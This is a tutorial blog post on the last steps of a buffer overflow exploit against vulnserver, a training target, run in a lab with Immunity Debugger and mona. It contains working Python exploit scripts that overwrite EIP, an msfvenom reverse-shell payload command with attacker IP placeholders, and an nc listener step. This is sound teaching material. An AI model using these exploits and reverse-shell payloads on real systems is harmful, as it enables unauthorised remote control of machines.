This is the last article in the Buffer Overflow series. This article will cover finding the right module and then finally, we will generate shellcode to gain shell via a buffer overflow.
Recap
So far we have gone through the following Buffer Overflow steps
- Spiking
- Fuzzing
- Finding the Offset
- Overwriting the EIP
- Finding Bad Characters
Having performed these steps, we have the following information from each of the above steps
TRUN
is the vulnerable command (Spiking)- The program crashes at around
20500 bytes
(Fuzzing) - We have an exact match at the offset
2003
for controlling EIP (Finding the Offset) - We are able to overwrite the EIP and control its value (Overwriting the EIP)
- There are no bad characters (Finding Bad Characters)
Buffer Overflow Step 6
Finding the Right Module
Now when finding the right module, we are looking for some dll or something similar in the program that has no memory protections including DEP, ASLR, SAFE SEH, etc. For this, we will use the tool Mona
that we can use within Immunity Debugger
.
Setting up Mona
For setting up Mona
with Immunity Debugger
, first download mona.py
and save it in the following folder path
C:\Program Files (x86)\Immunity Inc\Immunity Debugger\PyCommands
Protection settings for the program
Now with the vulnserver attached to the debugger, run the command !mona modules
in the bottom command bar as below and hit Enter
This will open a new debugger window as below
Here the table below Module info
shows the protection settings for the attached program. Among all, we are interested in the module(s) attached to the vulnserver. See the below image for a clearer image of the table
Here we can see essfunc.dll
is with the vulnserver. So we will target this dll for exploitation.
The next step is to find a valid JMP ESP
instruction address so that we can redirect the execution of the application to our malicious shell code. For this, we can use nasm_shell
to find the opcode for JMP ESP
. So, locate the nasm_shell using the command locate nasm_shell
and then execute the nasm_shell.rb
script. It will show you a nasm prompt, just type in JMP ESP
and it will give you the opcode as below
Finding return addresses against the opcode
Now we need to find the return addresses against the JMP ESP
opcode so that we can put that return address in the EIP value. For that, go back to the debugger, and in the command bar, type the following command
!mona find -s "\xff\xe4" -m essfunc.dll
This command will search for the hex string “FFE4” in the essfunc.dll
module and give us the return addresses
as below
Here we have a total of 9 pointers/return addresses
0x625011af
0x625011bb
0x625011c7
0x625011d3
0x625011df
0x625011eb
0x625011f7
0x62501203
0x62501205
Putting pointer in EIP
Now, we need to modify the script to put the return address of JMP ESP
in EIP. We will try with each return address until we are able to put at least one in the EIP.
import sys, socket
from time import sleep
shellcode = "A" * 2003 + "\xaf\x11\x50\x62"
try:
payload = "TRUN /.:/" + shellcode
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.37.131',9999))
s.send((payload.encode()))
s.close()
except:
print(f"Error connecting to server.")
sys.exit()
Note: Here you can see that I tried the address 625011af
but wrote it backward as af115062
. This is because of the x86 architecture little endian
mapping.
Setting a breakpoint
Now restart the debugger and attach the vulnserver. Before running the program, press the Go to address in Disassembler
(blue arrow button right below Options
in top menu) as below
Clicking this will open a window to put the expression. Type the address 0x625011af
and hit OK
This will bring up the address in the disassembler window as below
As you can see it has the opcode FFE4
for the command JMP ESP
. We need to set the breakpoint at this address so that when the EIP value is written with 625011af
, we get a breakpoint. To set the breakpoint, just hit F2
key and the address will turn blue
Now, run the program and then execute the script from Kali. Following is the output in immunity after running the script
The breakpoint is not hit and we get Access violation while executing
error in the bottom bar.
Note: This may not be the case with you and this address might work for you. After a bit of playing around, I was able to get this address 625011af working by reducing the number 2003 to 2002 but I'm still figuring out the reason for that.
Since this did not work, we can try other addresses and the addresses that worked for me are
0x62501203
0x62501205
So, with any of these addresses, the output in the debugger was as below
Breakpoint is hit and now we are good to go with shellcode generation and gaining shell via buffer overflow.
Buffer Overflow Step 7
Generating Shellcode & Gaining Shell Via Buffer Overflow
The first step is to generate the shellcode. For this, we can use the msfvenom and the following command
msfvenom -p windows/shell_reverse_tcp LHOST=<ATTACKER IP> LPORT=<ATTACKER PORT> EXITFUNC=thread -f py -b "\x00" -e x86/shikata_ga_nai
- -p specifies that we want to use
windows/shell_reverse_tcp
as payload - LHOST will be equal to the Kali Machine’s IP
- LPORT can be set to any port that we want to listen on
- EXITFUNC is set to thread to make the shell stable
- -f specifies the output format as
py
for python - -b specifies the bad characters and since we don’t have any bad characters in vulnserver and
\x00
is by default a bad character, we set it - -e is for encoding that we want to encode our payload with and we will be using
x86/shikata_ga_nai
Running the command will give an output similar to below
For the last time, we need to modify the script to put the shellcode as below
import sys, socket
from time import sleep
buf = <SHELLCODE FROM MSFVENOM>
shellcode = b"A" * 2003 + b"\x03\x12\x50\x62" + b"\x90" * 200 + buf
try:
payload = b"TRUN /.:/" + shellcode
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.37.131',9999))
s.send((payload))
s.close()
except:
print(f"Error connecting to server.")
sys.exit()
Here you can see I have set all strings as bytes because our shellcode is in bytes.
In another terminal, start the nc
listener using command nc -nlvp PORT
.
Now, close the debugger and simply run the vulnserver normally, and then in Kali, run the script. You will receive a reverse shell in the listener as below
Resources
Please see some amazing resources I found helpful during BOF learning
Leave a Reply